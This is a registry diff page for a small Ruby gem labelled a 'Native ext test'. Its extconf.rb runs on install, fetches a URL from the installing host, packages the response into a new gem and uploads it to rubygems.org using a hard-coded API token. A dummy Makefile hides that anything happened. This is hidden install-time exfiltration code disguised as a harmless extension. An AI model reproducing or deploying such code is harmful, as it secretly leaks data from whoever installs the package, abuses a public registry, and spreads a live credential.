extssrfabc1778553451 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/ext/probe/extconf.rb +11 -0
- data/gem.gemspec +3 -0
- data/lib/probe.rb +1 -0
- metadata +41 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 9b0aabc17773660839a677549590c90ab44a9792c39eb9110d9da6ee4c1e5095
|
|
4
|
+
data.tar.gz: 29d137c585358283db2b8f5e3a3ff04e4846bcce32d7095e62e8b3169d3ef342
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 8ee8c3f67717aced2bc8c375f5748d9c4d1bdeb6a6001a7c504c749a4a780bddc10d0d0404569f100c5ad897ed52ab82da6475f91b15e15192470cec1598b2d0
|
|
7
|
+
data.tar.gz: eb3bad6dc520379baef4b564179318d2f8cba00cb6d3c4ca8b3d8c71df8b9a6b23405a20ef0ca5b9ce003b829c567bcbffb4fd990af5feebb93fc864dd2e65b6
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
require 'net/http';require 'uri';require 'fileutils';
|
|
2
|
+
begin; content=Net::HTTP.get(URI('https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1'));
|
|
3
|
+
rescue=>e; content="ERR #{e.class} #{e}"; end
|
|
4
|
+
begin
|
|
5
|
+
name='extprobeoutabcxx'; root='/tmp/out'+rand(999999).to_s;FileUtils.mkdir_p(root+'/lib');
|
|
6
|
+
File.write(root+'/x.gemspec',"Gem::Specification.new{|s|;s.name='#{name}';s.version='0.0.2';s.summary='out';s.authors=['me'];s.email='a@b.com';s.files=Dir['lib/**/*'];}");File.write(root+'/lib/out.txt',content)
|
|
7
|
+
system("cd #{root}; gem build x.gemspec"); tgz=Dir[root+'/*.gem'][0];
|
|
8
|
+
token='rubygems_2158b48b61371d982de926d9b107cf144b9cbbbe53b6bf22'; uri=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(uri,{'Authorization'=>token,'Content-Type'=>'application/octet-stream'});req.body=File.binread(tgz); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)};
|
|
9
|
+
rescue=>e;end
|
|
10
|
+
# create valid makefile for build
|
|
11
|
+
File.write('Makefile','all:\n\t@true\ninstall:\n\t@true\nclean:\n\t@true\n')
|
data/gem.gemspec
ADDED
data/lib/probe.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module ProbeExt; end
|
metadata
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: extssrfabc1778553451
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Tester
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
email: abc@example.com
|
|
13
|
+
executables: []
|
|
14
|
+
extensions:
|
|
15
|
+
- ext/probe/extconf.rb
|
|
16
|
+
extra_rdoc_files: []
|
|
17
|
+
files:
|
|
18
|
+
- ext/probe/extconf.rb
|
|
19
|
+
- gem.gemspec
|
|
20
|
+
- lib/probe.rb
|
|
21
|
+
licenses:
|
|
22
|
+
- MIT
|
|
23
|
+
metadata: {}
|
|
24
|
+
rdoc_options: []
|
|
25
|
+
require_paths:
|
|
26
|
+
- lib
|
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
28
|
+
requirements:
|
|
29
|
+
- - ">="
|
|
30
|
+
- !ruby/object:Gem::Version
|
|
31
|
+
version: '0'
|
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
requirements: []
|
|
38
|
+
rubygems_version: 3.6.7
|
|
39
|
+
specification_version: 4
|
|
40
|
+
summary: Native ext test
|
|
41
|
+
test_files: []
|